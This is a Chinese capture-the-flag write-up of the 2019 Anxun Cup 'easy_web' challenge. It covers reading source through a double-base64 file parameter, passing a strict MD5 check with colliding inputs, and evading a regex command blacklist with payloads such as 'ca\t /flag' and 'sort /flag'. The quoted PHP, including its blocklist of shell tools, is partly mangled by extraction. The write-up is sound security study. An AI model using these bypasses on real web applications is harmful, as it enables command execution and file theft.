前言
涉及的知识点:
- md5强比较
- 反斜杠绕过
正文
界面是
可以看到url上get了两个参数一个img一个cmd
img经过两个base64解码发现是555.png
所以可以猜测后台就是用img提交的参数来进行前端展示
然后尝试读index.php源码
<?php
echo base64_encode(base64_encode("index.php"));
结果用img提交,成功读到源码
“`php+HTML
‘;
die(“xixi锝� no flag”);
} else {
txt = base64_encode(file_get_contents(file));
echo ““;
echo “
“;
}
echo $cmd;
echo “
“;
if (preg_match(“/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\’|\”|`|;|,|*|\?|\|\\|\n|\t|\r|\xA0|{|}|(|)|\&[^\d]|@|||\|[|]|{|}|(|)|-|<|>/i”,cmd)) {
echo(“forbid ~”);
echo “
“;
} else {
if ((string)_POST[‘a’] !== (string)_POST[‘b’] && md5(_POST[‘a’]) === md5(_POST[‘b’])) {
echo $cmd
;
} else {
echo (“md5 is funny ~”);
}
}
?>
大概意思是post提交两个参数a b,不能相等但是md5要相等,并且都是强比较
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
成功,然后cmd传个参数来当做系统命令,但是有过滤
```php
preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)
这里可以用反斜杠绕过
payload
?img=&cmd=ca\t%20/flag
原理应该是\t被php以为是制表符所以绕过了,但是linux能正常执行
其实sort命令没有被过滤也可以用sort命令
payload
?img=&cmd=sort%20/flag
本文地址: 2019安洵杯easy_web